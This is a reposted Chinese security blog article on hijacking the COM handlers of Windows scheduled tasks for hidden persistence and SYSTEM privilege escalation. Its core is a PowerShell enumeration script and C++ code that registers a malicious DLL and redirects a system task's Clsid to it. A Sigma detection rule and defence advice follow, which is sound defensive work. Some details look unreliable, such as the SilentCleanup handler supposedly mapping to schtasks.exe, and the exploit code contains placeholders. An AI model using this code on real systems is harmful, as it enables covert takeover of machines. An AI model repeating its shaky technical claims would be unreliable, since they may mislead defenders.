UBTI的攻击面测绘与COM劫持

admin 2026-06-21 05:16:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了WindowsUBTI架构将计划任务迁移至COM组件后带来的安全风险,攻击者可劫持COMCLSID实现隐蔽持久化与权限提升。文章详细解析了注册表攻击路径、利用代码及检测规则,并提出了最小权限、完整性监控等防御建议。 综合评分: 87 文章分类: 内网渗透,红队,漏洞分析,安全运营,威胁检测


cover_image

UBTI的攻击面测绘与 COM 劫持

原创

Pi Box Pi Box

Ghost Wolf Lab

2026年6月21日 00:08 北京

在小说阅读器读本章

去阅读

摘要

Windows 计划任务早已超越“定时执行脚本”的原始范畴。自 Windows 10 1607 引入统一后台任务基础设施(UBTI)后,大量系统与第三方任务被悄然迁移至 COM 组件驱动的新架构,由 taskhostw.exe 进程承载。这一变革在提升可靠性的同时,也将攻击面从 XML 配置文件扩展到了 COM 注册表与 DLL 加载路径。攻击者不再需要写入恶意脚本,而仅需劫持一个计划任务所引用的 COM CLSID,即可将系统原生的合法任务转化为隐蔽的持久化触发器。

UBTI架构

传统计划任务模型

长久以来,Windows 计划任务的核心引擎是 Schedule 服务(schedsvc.dll),运行在 svchost.exe -k netsvcs 共享进程中。任务定义以 XML 格式存储于 C:\Windows\System32\Tasks 目录,管理员通过 schtasks.exe 命令行工具或任务计划程序 MMC 管理单元进行管理。执行时,传统任务启动一个独立的进程(如 cmd.exe /c script.bat),其生命周期完全可见于进程树中。

这种模型简单明了,但也存在明显局限:失败重试机制脆弱、任务隔离性差、对触发条件的响应不够精细。更关键的是,随着 Windows 向“系统即服务”演进,大量后台维护工作(如磁盘整理、系统诊断、Windows 更新后任务)需要更高级的执行容器。

统一后台任务基础设施

Windows 10 版本 1607 引入了统一后台任务基础设施(Unified Background Task Infrastructure,UBTI),作为“后台任务现代化”工程的核心组件。UBTI 并非替换计划任务调度器,而是为其增加了一套全新的执行路径。

在 UBTI 模型下,一个计划任务可以注册为COM 任务——其操作不是启动一个可执行文件,而是实例化一个实现了 ITaskHandler 接口的 COM 组件。该接口定义了两个核心方法:

  • **Start**:接收任务触发信息,执行任务逻辑。
  • **Stop**:接收任务取消请求,执行清理。

任务的实际执行者不再是 cmd.exe 或用户指定的可执行文件,而是 COM 代理进程 taskhostw.exe。该进程以当前用户的会话权限运行(部分系统任务以 SYSTEM 权限运行),充当 COM 对象的宿主。taskhostw.exe 本身仅是一个承载框架,真正的任务逻辑封装在 COM DLL 中。

为何 UBTI 对攻击者具有吸引力

这种架构迁移为攻击者开辟了多个新的攻击面:

  • 注册表攻击路径:计划任务的 COM 配置信息存储在注册表中,路径为 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID}。其中的 ComHandler 子键包含 COM CLSID 和参数。若攻击者获取了管理员权限,可篡改该 CLSID 指向恶意 DLL。
  • 隐蔽性:恶意操作不会创建新进程,而是在已有的 taskhostw.exe 进程中加载恶意 DLL。进程树分析难以定位异常,因为宿主进程本身是合法的系统进程。
  • 持久化:系统级别的计划任务(如磁盘清理、更新协调器)每天自动触发,为恶意代码提供了可靠的“心跳”机制,且不受用户登录/注销影响。
  • 绕过应用白名单:若攻击者劫持了已由 AppLocker 或 WDAC 放行的任务,其加载的恶意 DLL 可能继承相同的信任上下文,从而逃避执行限制。

COM 任务劫持

寻找攻击切入点

攻击者通常从以下两类场景入手:

  1. 已获得管理员权限的后渗透阶段:攻击者已拥有管理员权限,希望建立隐蔽持久化。他们可以枚举系统中已有的 COM 任务,寻找那些签名为“友好”的任务(如 Microsoft\Windows\DiskCleanup\SilentCleanup),将其 COM 处理程序替换为恶意 DLL。
  2. 权限提升路径:若攻击者拥有一个具备注册表写入权限的低权限用户(例如通过路径遍历漏洞写入了 HKLM),他们可以修改任务的 COM CLSID,迫使 taskhostw.exe 加载恶意 DLL,而该 DLL 将运行在任务自身的权限上下文中(可能是 SYSTEM),从而实现权限提升。

注册表攻击面测绘

与 COM 任务相关的注册表键值分布如下:

| 注册表路径 | 键值 | 含义 | | — | — | — | | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{GUID} | ComHandler | 包含子键 Clsid 和 Data,定义 COM 组件 | | HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} | Id | 任务的 GUID 引用 | | HKCR\CLSID\{CLSID}\InprocServer32 | (Default) | COM 组件 DLL 路径 | | HKLM\SOFTWARE\Classes\AppID\{AppID} | RunAs | 设置组件运行身份(如 Interactive User) |

攻击者可修改 ComHandler 下的 Clsid 值,将其指向一个由攻击者注册的 COM 对象,或者在 HKCR\CLSID\ 下直接修改合法组件的 InprocServer32 路径,使其加载恶意 DLL。

DiskCleanup 任务劫持

Microsoft\Windows\DiskCleanup\SilentCleanup 是一个经典的被滥用系统任务。它以 SYSTEM 权限运行,在磁盘空间不足时触发。默认情况下,其 COM 处理程序为 {e135b523-cb57-44de-9df8-c16e66ac4e3f},对应 C:\Windows\System32\schtasks.exe(通过某些 COM 代理)。

通过篡改其 Clsid 为攻击者注册的组件,即可在 taskhostw.exe 的 SYSTEM 实例中加载恶意 DLL。

核心利用代码

枚举可劫持的 COM 任务

<#
.SYNOPSIS
&nbsp; 枚举所有使用 COM 处理程序的计划任务,并列出其 CLSID。
&nbsp; 帮助识别可劫持目标。
#>

$TaskPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\"

Get-ChildItem $TaskPath | ForEach-Object {
&nbsp; &nbsp; $taskGuid = $_.PSChildName
&nbsp; &nbsp; $comHandler = Get-ItemProperty -Path "$($_.PSPath)\ComHandler" -ErrorAction SilentlyContinue
&nbsp; &nbsp; if ($comHandler) {
&nbsp; &nbsp; &nbsp; &nbsp; $taskName = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\*" |
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Where-Object { $_.Id -eq $taskGuid }).PSChildName
&nbsp; &nbsp; &nbsp; &nbsp; [PSCustomObject]@{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TaskName = $taskName
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TaskGUID = $taskGuid
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; COM_CLSID = $comHandler.Clsid
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; COM_Data &nbsp;= $comHandler.Data
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
} | Format-Table -AutoSize

注册恶意 COM 组件并劫持任务

/**
&nbsp;* com_hijack.cpp — COM 计划任务劫持
&nbsp;* 步骤:
&nbsp;* 1. 注册恶意 COM DLL(实现 ITaskHandler 接口)
&nbsp;* 2. 修改目标任务的 ComHandler Clsid 指向该组件
&nbsp;* 编译: cl /EHsc com_hijack.cpp /link ole32.lib advapi32.lib
&nbsp;*/

#include<windows.h>
#include<taskschd.h> &nbsp;// 需要安装 Windows SDK
#include<iostream>

// 目标任务的 GUID(以 SilentCleanup 为例)
const&nbsp;GUID TARGET_TASK_GUID = {&nbsp;0x... }; &nbsp;// 实际使用中枚举获取

// 恶意 COM 组件的 CLSID(自行生成)
// {12345678-1234-1234-1234-123456789ABC}
const&nbsp;GUID MALICIOUS_CLSID = {&nbsp;0x12345678,&nbsp;0x1234,&nbsp;0x1234,
&nbsp; &nbsp; {&nbsp;0x12,&nbsp;0x34,&nbsp;0x12,&nbsp;0x34,&nbsp;0x56,&nbsp;0x78,&nbsp;0x9A,&nbsp;0xBC&nbsp;} };

// 注册恶意 COM DLL(假设 DLL 路径为 C:\evil.dll)
HRESULT&nbsp;RegisterMaliciousCOM(){
&nbsp; &nbsp; HKEY hKey;
// 创建 CLSID 键
&nbsp; &nbsp; RegCreateKeyExW(HKEY_CLASSES_ROOT,
L"CLSID\\{12345678-1234-1234-1234-123456789ABC}\\InprocServer32",
0,&nbsp;NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE,&nbsp;NULL, &hKey,&nbsp;NULL);
// 设置 DLL 路径
const&nbsp;WCHAR* dllPath =&nbsp;L"C:\\evil.dll";
&nbsp; &nbsp; RegSetValueExW(hKey,&nbsp;NULL,&nbsp;0, REG_SZ, (const&nbsp;BYTE*)dllPath,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(wcslen(dllPath) +&nbsp;1) *&nbsp;sizeof(WCHAR));
&nbsp; &nbsp; RegCloseKey(hKey);
return&nbsp;S_OK;
}

// 修改任务注册表中的 ComHandler Clsid
HRESULT&nbsp;HijackTaskCOM(){
&nbsp; &nbsp; WCHAR regPath[256];
&nbsp; &nbsp; swprintf_s(regPath,&nbsp;L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\"
L"Schedule\\TaskCache\\Tasks\\{GUID-...}\\ComHandler");

&nbsp; &nbsp; HKEY hKey;
&nbsp; &nbsp; RegOpenKeyExW(HKEY_LOCAL_MACHINE, regPath,&nbsp;0, KEY_WRITE, &hKey);

// 将 Clsid 值改为恶意组件的 GUID 字符串
&nbsp; &nbsp; WCHAR newClsid[64];
&nbsp; &nbsp; StringFromGUID2(MALICIOUS_CLSID, newClsid,&nbsp;64);
&nbsp; &nbsp; RegSetValueExW(hKey,&nbsp;L"Clsid",&nbsp;0, REG_SZ,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(const&nbsp;BYTE*)newClsid, (wcslen(newClsid) +&nbsp;1) *&nbsp;sizeof(WCHAR));

&nbsp; &nbsp; RegCloseKey(hKey);
return&nbsp;S_OK;
}

intmain(){
&nbsp; &nbsp; CoInitialize(NULL);
&nbsp; &nbsp; RegisterMaliciousCOM();
&nbsp; &nbsp; HijackTaskCOM();
std::cout&nbsp;<<&nbsp;"[+] COM task hijacked. Payload will fire on next trigger."&nbsp;<<&nbsp;std::endl;
&nbsp; &nbsp; CoUninitialize();
return0;
}

检测规则

title: 计划任务 COM 处理程序被篡改
id: 2b6c7d8e-1a2b-3c4d-5e6f-7a8b9c0d1e2f
status: experimental
description: 检测计划任务注册表中 ComHandler 的 Clsid 值被修改
logsource:
&nbsp; product: windows
&nbsp; category: registry_event
detection:
&nbsp; selection:
&nbsp; &nbsp; EventID: 13 &nbsp;# Registry value set
&nbsp; &nbsp; TargetObject|contains:&nbsp;'\Schedule\TaskCache\Tasks\'
&nbsp; &nbsp; TargetObject|endswith:&nbsp;'\ComHandler\Clsid'
&nbsp; filter_legitimate:
# 排除已知系统更新期间的修改,可根据环境调整
&nbsp; &nbsp; Image|contains:&nbsp;'TrustedInstaller.exe'
&nbsp; condition: selection and not filter_legitimate
level: high

防御

最小权限原则

  • 严格限制管理员权限,防止攻击者修改 HKLM 中的任务注册表。
  • 对 taskhostw.exe 的 DLL 加载路径实施安全策略(如通过 WDAC 拒绝非系统路径 DLL 加载)。

完整性监控

  • 部署文件/注册表完整性监控(如 Sysmon 或 Microsoft Defender for Endpoint),对计划任务注册表键的所有修改发出警报。
  • 定期审计现有任务的 COM 处理程序,建立基线,发现偏差。

行为检测

  • 监控 taskhostw.exe 加载非 Microsoft 签名的 DLL 或从临时目录加载 DLL 的行为。
  • 关联 taskhostw.exe 的网络连接与文件写入操作,发现异常。

结语

Windows 计划任务的现代化改造在提升系统维护效率的同时,也悄然将一条高特权的执行管道暴露给了攻击者。COM 任务劫持之所以危险,不在于它提供了新的漏洞,而在于它滥用了操作系统“自己调用自己”的信任模型——系统任务、合法进程、定时触发,一切看起来都无比正常。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ghost Wolf Lab Pi Box Pi Box《UBTI的攻击面测绘与 COM 劫持》

评论:0   参与:  0